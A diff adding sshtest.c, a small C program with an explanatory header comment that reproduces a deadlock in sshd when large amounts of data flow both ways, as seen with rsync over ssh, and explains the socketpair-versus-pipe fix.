--- /dev/null
+++ b/sshtest.c
@@ -0,0 +1,203 @@
+/*
+  tridge@linuxcare.com January 2000
+
+  This is a sample program that demonstrates a deadlock in sshd when
+  handling large amounts of bi-directional data. This deadlock has
+  been the cause of lots of problems with rsync over ssh. Although the
+  problem only maniifests itself occasionally it makes large rsync
+  over ssh transfers unreliable.
+
+  Luckily the fix is very easy - tell sshd to use socketpair() instead
+  of pipe(). Just remove the line:
+       #define USE_PIPES 1
+  from near the bottom of includes.h in the ssh sources.
+
+  Note that fixing the problem by playing with the write sizes or by
+  using non-blocking writes due to the following bugs in various OSes.
+
+  - in Linux 2.2 a write to a non-blocking pipe will either return
+  EAGAIN if no space is avaiilable or will block if not. This is fixed
+  in Linux 2.3.
+
+  - Under IRIX and OSF1 a select on a blocking pipe may return before
+  PIPE_BUF can be written. When a subsequent write of more than 1 byte
+  is done the write blocks.
+
+  - under some versions of OpenBSD a select on a non-blocking pipe
+  will always return immediately, even when no space is available.
+
+  The sum of all these factors means it is not possible to write
+  portable code that uses pipes in a way that won't allow deadlocks,
+  unless writes are restricted to a single byte after a select on a
+  blocking pipe. The performance of that solution would be terrible.
+
+running this code:
+
+  1) "make nettest"
+  2) nettest "ssh localhost nettest -s"
+  3) if it blocks then you have hit the deadlock.
+
+*/
+
+
+#include <stdio.h>
+#include <unistd.h>
+#include <errno.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/socket.h>
+#include <stdlib.h>
+
+#define TOTAL_SIZE (10*1024*1024)
+
+
+static int fd_pair(int fd[2])
+{
+       return socketpair(AF_UNIX, SOCK_STREAM, 0, fd);
+}
+
+
+static int write_loop(int fd, char *buf, int size)
+{
+       int total=0;
+
+       while (size) {
+               int n = write(fd, buf, size);
+               if (n <= 0) break;
+               size -= n;
+               buf += n;
+               total += n;
+       }
+       return total;
+}
+
+static int piped_child(char *command,int *f_in,int *f_out)
+{
+       int pid;
+       int to_child_pipe[2];
+       int from_child_pipe[2];
+
+       if (fd_pair(to_child_pipe) < 0 ||
+           fd_pair(from_child_pipe) < 0) {
+               fprintf(stderr,"fd_pair: %s\n",strerror(errno));
+               exit(1);
+       }
+
+
+       pid = fork();
+       if (pid < 0) {
+               fprintf(stderr,"fork: %s\n",strerror(errno));
+               exit(1);
+       }
+
+       if (pid == 0) {
+               if (dup2(to_child_pipe[0], STDIN_FILENO) < 0 ||
+                   close(to_child_pipe[1]) < 0 ||
+                   close(from_child_pipe[0]) < 0 ||
+                   dup2(from_child_pipe[1], STDOUT_FILENO) < 0) {
+                       fprintf(stderr,"Failed to dup/close : %s\n",strerror(errno));
+                       exit(1);
+               }
+               if (to_child_pipe[0] != STDIN_FILENO) close(to_child_pipe[0]);
+               if (from_child_pipe[1] != STDOUT_FILENO) close(from_child_pipe[1]);
+               system(command);
+               exit(1);
+       }
+
+       if (close(from_child_pipe[1]) < 0 ||
+           close(to_child_pipe[0]) < 0) {
+               fprintf(stderr,"Failed to close : %s\n",strerror(errno));   
+               exit(1);
+       }
+
+       *f_in = from_child_pipe[0];
+       *f_out = to_child_pipe[1];
+
+       return pid;
+}
+
+static void sender(int fin, int fout)
+{
+       int n;
+       char buf[1024];
+       int total = 0;
+       
+       while (total < TOTAL_SIZE) {
+               n = read(fin, buf, sizeof(buf));
+               if (n <= 0) {
+                       fprintf(stderr,"write error in sender at %d\n", total);
+                       break;
+               }
+               write_loop(fout, buf, n);
+               total += n;
+               fprintf(stderr, "-");
+       }
+       fprintf(stderr, "sender done\n");
+}
+
+static void generator(int fd)
+{
+       int n;
+       char buf[1024];
+       int total=0;
+
+       while (total < TOTAL_SIZE) {
+               n = 1 + random() % (sizeof(buf)-1);
+               n = write_loop(fd, buf, n);
+               if (n <= 0) {
+                       fprintf(stderr,"write error in generator at %d\n", total);
+                       break;
+               }
+               total += n;
+               fprintf(stderr, "*");
+       }
+       fprintf(stderr, "generator done\n");
+}
+
+static void receiver(int fd)
+{
+       ssize_t n;
+       ssize_t total=0;
+       char buf[1024];
+
+       while (total < TOTAL_SIZE) {
+               n = read(fd, buf, sizeof(buf));
+               if (n <= 0) {
+                       fprintf(stderr,"read error in receiver\n");
+                       break;
+               }
+               total += n;
+               fprintf(stderr, "+");
+       }
+       fprintf(stderr, "receiver done\n");
+}
+
+int main(int argc, char *argv[])
+{
+       int c, f_in, f_out;
+       int am_sender = 0;
+
+       while ((c = getopt(argc, argv, "s")) != -1) {
+               switch (c){
+               case 's':
+                       am_sender = 1;
+                       break;
+               }
+       }
+       
+       if (am_sender) {
+               sender(0, 1);
+       } else {
+               char *command = argv[1];
+               printf("running %s\n", command);
+               piped_child(command, &f_in, &f_out);
+               if (fork()) {
+                       generator(f_out);
+               } else {
+                       receiver(f_in);
+               }
+       }
+
+       return 0;
+}